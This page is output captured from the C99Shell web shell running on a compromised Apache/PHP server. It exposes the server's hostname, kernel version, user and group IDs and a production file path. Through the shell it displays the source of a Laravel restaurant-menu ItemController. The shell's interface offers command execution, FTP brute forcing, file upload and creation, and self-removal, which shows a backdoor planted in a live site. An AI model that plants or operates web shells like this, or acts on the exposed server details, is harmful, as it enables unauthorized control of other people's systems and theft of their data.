!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/multirest.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.54 GB of 117.98 GB (24.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ItemController.php (6.98 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\Item;
use 
App\Models\OrderDetails;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Facades\File;
use 
Illuminate\Support\Facades\Log;

class 
ItemController extends Controller
{

    public function 
index()
    {
        
$data['items'] = auth()->user()->items;
        return 
view('item.index'$data);
    }

    public function 
create()
    {
        
$data['restaurants'] = auth()->user()->active_restaurants;
        
$data['categories'] = auth()->user()->active_categories;
        
$data['taxes'] = auth()->user()->active_taxes;

        
$data['extend_message'] = '';

        
$user auth()->user();
        if (
$user->type != 'admin') {
            
$userPlan = isset($user->current_plans[0]) ? $user->current_plans[0] : '';
            if (
$userPlan) {
                
$userItems $user->items()->count();
                if ((!
$userPlan || $userItems >= $userPlan->item_limit) && $userPlan->item_unlimited != 'yes') {
                    
$data['extend_message'] = trans('layout.item_extends');
                }
            } else {
                return 
redirect()->route('plan.list')->withErrors(['failed' => trans('layout.message.plan_update_first')]);
            }
        }
        return 
view('item.create'$data);
    }

    public function 
store(Request $request)
    {

        
$request->validate([
            
"restaurant_id" => "required",
            
"category_id" => "required",
            
"name" => "required|max:191",
            
"price" => "required | numeric|gt:-1",
            
"discount_to" => "in:everyone,premium",
            
"discount" => "numeric|gt:-1",
            
"discount_type" => "in:flat,percent",
            
"status" => "required|in:active,inactive",
            
'item_image' => 'image',
            
'extra_price.*' => 'numeric|min:0',
            
'extra_status.*' => 'in:active,inactive',
        ]);
        
$user auth()->user();

        if (
$user->type != 'admin') {
            
$userPlan = isset($user->current_plans[0]) ? $user->current_plans[0] : '';
            if (
$userPlan) {
                
$userItems $user->items()->count();
                if ((!
$userPlan || $userItems >= $userPlan->item_limit) && $userPlan->item_unlimited != 'yes') {
                    return 
redirect()->back()->withErrors(['msg' => trans('layout.item_extends')]);
                }
            } else {
                return 
redirect()->route('plan.list')->withErrors(['failed' => trans('layout.message.plan_update_first')]);
            }
        }

        if (
$request->hasFile('item_image')) {
            
$file $request->file('item_image');
            
$imageName time() . '.' $file->extension();
            
$file->move(public_path('/uploads'), $imageName);
            
$request['image'] = $imageName;
        }

        
DB::beginTransaction();
        try {
            
$item $user->items()->create($request->all());

            if (
$request->extra_title) {
                
$item->extras()->createMany(collect($request->extra_title)->map(function ($day$key) use ($request) {
                    if (
$request->extra_title[$key] && isset($request->extra_price[$key]) && $request->extra_status[$key]) {
                        return [
                            
'title' => $request->extra_title[$key],
                            
'price' => $request->extra_price[$key],
                            
'status' => $request->extra_status[$key],
                        ];
                    }


                })->
toArray());
            }
            
DB::commit();
            return 
redirect()->route('item.index')->with('success'trans('layout.message.item_create'));
        } catch (
\Exception $ex) {
            
DB::rollBack();
        }

    }

    public
    function 
edit(Item $item)
    {
        
$data['item'] = $item;
        
$data['restaurants'] = auth()->user()->active_restaurants;
        
$data['categories'] = auth()->user()->active_categories;
        
$data['taxes'] = auth()->user()->active_taxes;
        return 
view('item.edit'$data);
    }

    public
    function 
update(Request $requestItem $item)
    {
        
$request->validate([
            
"restaurant_id" => "required",
            
"category_id" => "required",
            
"name" => "required|max:191",
            
"price" => "required | numeric|gt:-1",
            
"discount_to" => "in:everyone,premium",
            
"discount" => "numeric|gt:-1",
            
"discount_type" => "in:flat,percent",
            
"status" => "required|in:active,inactive",
            
'item_image' => 'image',
            
'extra_price.*' => 'numeric|min:0',
            
'extra_status.*' => 'in:active,inactive',
        ]);

        
//  dd($request->all());

        
if ($request->hasFile('item_image')) {

            
$this->deleteItemImage($item);
            
$file $request->file('item_image');
            
$imageName time() . '.' $file->extension();
            
$file->move(public_path('/uploads'), $imageName);
            
$request['image'] = $imageName;
        }


        
DB::beginTransaction();
        try {
            
$item->update($request->all());

            if (
$request->extra_title) {
                
$extraData = [];
                
$i 0;
                foreach (
$request->extra_title as $key => $extra) {
                    if (
$request->extra_title[$key] && $request->extra_price[$key] && $request->extra_status[$key]) {
                        
$extraData[$i]['title'] = $request->extra_title[$key];
                        
$extraData[$i]['price'] = $request->extra_price[$key];
                        
$extraData[$i]['status'] = $request->extra_status[$key];
                        
$i++;
                    }
                }
                
$item->extras()->delete();
                
$item->extras()->createMany($extraData);
            } else {
                
$item->extras()->delete();
            }
            
DB::commit();
            return 
redirect()->route('item.index')->with('success'trans('layout.message.item_update'));
        } catch (
\Exception $ex) {
            
DB::rollBack();
            
Log::error($ex->getMessage());
            return 
redirect()->route('item.index')->withErrors(['msg' => trans('layout.message.update_failed')]);
        }
    }

    public
    function 
destroy(Item $item)
    {
        
$order_details OrderDetails::where('item_id'$item->id)->first();
        if (
$order_details) return redirect()->back()->withErrors(['msg' => trans('layout.message.item_not_delete')]);

        
$this->deleteItemImage($item);

        
$item->delete();
        return 
redirect()->back()->with('success'trans('layout.message.item_delete'));
    }

    function 
deleteItemImage(Item $item)
    {
        if (
$item->image) {
            
$fileN public_path('uploads') . '/' $item->image;
            if (
File::exists($fileN))
                
unlink($fileN);
        }
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0057 ]--